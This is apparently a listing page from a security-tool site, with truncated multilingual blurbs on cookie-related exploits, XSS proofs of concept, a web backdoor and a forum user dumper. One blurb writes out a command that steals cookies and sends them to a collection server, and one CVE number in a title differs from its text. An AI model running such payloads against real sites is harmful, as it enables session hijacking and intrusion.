flask-session-cookie-manager

Flask Session Cookie 解码器/编码器 原作者 : Wilson Sumanang 修复与改进作者 : Alexandre ZANNI 源自 saruberoz.github.io 依赖项 Python 2 或 Python 3 itsdangerous Flask 安装 包管理器 BlackArch Linux root@kitploit: pacman -S flask-session-cookie-manager3,2 Git ArchLinux Python3 和 Python2： root@kitploit: git clone...

CVE-2023-29489

CVE-2023-29489 La vulnerabilidad de seguridad está registrada en el sistema Common Vulnerabilities and Exposures CVE. Específicamente, esta vulnerabilidad está relacionada con cPanel, un popular software de gestión de hosting. Esta falla permite ataques de cross-site scripting XSS a través de...

FallingSkies-CVE-2023-35885

CVE-2023-35885 Cloudpanel 0-day 漏洞利用 作者: @EagleTube, @Mzulfahmy, @farphalabs Github : https://github.com/datackmy/FallingSkies-CVE-2023-35885/blob/main/ 受影响版本: v2.0.0 – v2.3.0 已修复版本: v2.3.1 厂商主页: CloudPanel.io 产品: CloudPanel 参考: https://www.datack.my/fallingskies-cloudpanel-0-day/ , 撰写文章 使用方法 :...

CVE-2020-6364

CVE-2020-6364 Remote code execution in CA APM Team Center Wily Introscope. Original advisory A deserialization vulnerability in CA APM Team Center leads to unauthenticated remote code execution on the server. When authenticating to the server a cookie is returned that starts with the infamous rO0...

WeBaCoo

| | | | | \ / \ | | | | | | / / | / / | |/| |/ \ / | | / \ / \ \ /\ / / | / / | | /\ | | / / / ,| // / root@kitploit: Web Backdoor Cookie Script-Kit 作者：Anestis Bechtsoudis @ bechtsoudis.com 版权（C）2011-2012 Anestis Bechtsoudis 免责声明 该工具仅用于测试目的，且只能在获得严格同意的情况下使用。请勿用于非法用途。 许可证...

ios11-cookie-set-expire-issue

Problema de Establecer/Caducar Cookies en iOS 11 Parece haber un problema intermitente con el establecimiento y la caducidad de cookies en las aplicaciones web de la pantalla de inicio de iOS 11. Se pueden observar dos comportamientos erróneos: Cuando se establece una cookie y luego se cierra y...

CVE-2023-34845

CVE-2023-34845 POC de vulnerabilidad para CVE-2023-34845 Vulnerabilidad Encontré un ataque de cross-site scripting en la página de creación de nuevo contenido http://localhost:800/admin/new-content esto ejecutará el script en el contexto del usuario, permitiendo al atacante acceder a cualquier...

CVE-2025-29602

CVE-2025-29602 - FlatPress CMS 1.3.1 中的存储型跨站脚本XSS漏洞 描述 Flatpress CMS 1.3.1 的管理面板中存在一个存储型跨站脚本XSS漏洞。具有管理员权限的攻击者可以向系统中注入恶意JavaScript载荷，该载荷会被持久存储。当普通用户访问被篡改的页面（如博客文章）时，注入的载荷会在受害者的浏览器中自动执行。 受影响的产品 Flatpress 版本: 1.3.1 组件: 编辑分类 ⚠️ 影响 窃取会话Cookie 钓鱼攻击 远程代码执行（通过JavaScript） 将用户重定向到恶意网站 POC root@kitploit: :9...

CVE-2020-14368

CSWSH-THEIA-CVE-2020-14368 报告目标：Eclipse CHE 部署于 che.openshift.io 漏洞类型：跨站 WebSocket 劫持 发现日期：2020-04-08 作者：Robin Duda codingchili@github 摘要 Eclipse CHE 和 Theia 中的 /services WebSocket 端点容易受到跨站 WebSocket 劫持攻击。此漏洞影响使用 cookie 或基本身份验证的 Eclipse CHE 服务器，因为 WebSocket...

CVE-2023-6063-PoC

PoC para CVE-2023-6063: Inyección SQL ciega no autenticada en WP Fastest Cache 1.2.2 -red Una prueba de concepto para CVE-2023-6063, una vulnerabilidad de inyección SQL ciega basada en tiempo en WP Fastest Cache ≤1.2.2. Extrae contraseñas con hash userpass y correos electrónicos useremail de la...

CVE-2024-4367-PoC

CVE-2024-4367-PoC 此概念验证（PoC）演示了对CVE-2024-4367漏洞的利用，该漏洞涉及跨站脚本（XSS）攻击。 功能 此PoC收集并显示以下类型的信息： 1. 常规信息： 域名 标题 当前URL 来源URL 与域名关联的Cookie 2. 浏览器环境信息： LocalStorage和SessionStorage数据 用户代理 屏幕分辨率 平台（操作系统） 3. Web特性： Cookie启用/禁用状态 请勿追踪状态 最大触摸点数（适用于移动设备） 连接类型（例如4G、WiFi） 电池电量（如果可用） 4. 屏幕信息： 屏幕分辨率 色深 可用宽度和高度...

CVE-2026-85130

The WPLP Cookie Consent WordPress plugin before 4.4.4 does not escape a value submitted through a public endpoint for the JavaScript context it is later output in on an administrative screen, allowing unauthenticated users to run arbitrary JavaScript in the session of an administrator who interac...

CVE-2024-4367-POC-PDFJS

CVE 2024 4367: 利用XSS（跨站脚本）的PoC 1. 显示弹窗（XSS触发） 另一个利用示例是注入一个简单的警告消息，以验证攻击是否有效。 root@kitploit: python poc.py "alert'XSS exploit triggered';" 说明 ：此代码在页面中注入一个弹出警告框，从而可以快速测试XSS利用是否在目标站点上执行。 2. 窃取Cookie XSS攻击可用于窃取受害者的Cookie，并将其发送到恶意服务器。 root@kitploit: python poc.py "fetch'http://localhost:3000/cookie',...

CVE-2026-85130 WPLP Cookie Consent < 4.4.4 - Unauthenticated Stored XSS via Consent Logs

The WPLP Cookie Consent WordPress plugin before 4.4.4 does not escape a value submitted through a public endpoint for the JavaScript context it is later output in on an administrative screen, allowing unauthenticated users to run arbitrary JavaScript in the session of an administrator who interac...

EUVD-2026-81337

The WPLP Cookie Consent WordPress plugin before 4.4.4 does not escape a value submitted through a public endpoint for the JavaScript context it is later output in on an administrative screen, allowing unauthenticated users to run arbitrary JavaScript in the session of an administrator who interac...

CVE-2026-85130

CVE-2026-85130 affects the WPLP Cookie Consent WordPress plugin prior to 4.4.4 . The plugin fails to escape a value submitted through a public endpoint before it is output in a JavaScript context on an administrative screen, enabling an unauthenticated stored XSS that executes in the session of a...

openam-CVE-2021-35464

openam CVE-2021-35464 tomcat 执行命令回显. 项目基于 ysoserial 和 Java-Rce-Echo 构建项目需要在依赖中加入ysoserial.jar和jato-14.6.3.jar root@kitploit: POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like...

CrushFTP-CVE-2024-4040-illdeed

CVE-2024-4040 — CrushFTP 身份验证绕过漏洞利用 本仓库包含一个隐蔽的 Python 概念验证（PoC）漏洞利用程序，针对 CVE-2024-4040 ，这是 CrushFTP（v10 及以下版本）中的一个关键漏洞，允许攻击者使用伪造的 CrushAuth cookie 和 AWS 风格的 Authorization 标头绕过身份验证。 🚨 漏洞摘要 未经身份验证的攻击者可以通过构造特定的 cookie/标头组合，绕过存在漏洞的 CrushFTP 实例的身份验证，从而未经授权访问内部 Web 功能。 CVE ID ：CVE-2024-4040 严重性 ：严重（CVS...

CVE-2026-46275

CVE-2026-46725 — Extensión ceselector de TYPO3 RCE Inyección de Objetos PHP mediante Bypass de Cookieunserialize → Ejecución Remota de Código 📋 Índice Acerca de la Vulnerabilidad Detalles Técnicos Requisitos Instalación Uso Ejemplos Formato de Salida Cómo Funciona...

Dumb0

Dumb0 一个简单工具，用于从流行论坛和CMS（WordPress、SMF、vBulletin、IP Board、XEN forums、myBB、useBB、vanilla、bbPress...）中导出用户。支持27个论坛/CMS（帮助我们增加数量！： root@kitploit: SMF —— 简易机器论坛 IPB —— Invision Power Board XEN —— Xen Foro VB —— vBulletin myBB —— useBB —— vanilla —— bbPress —— WP —— WordPress SPIP —— SPIP CMS DRUPAL —...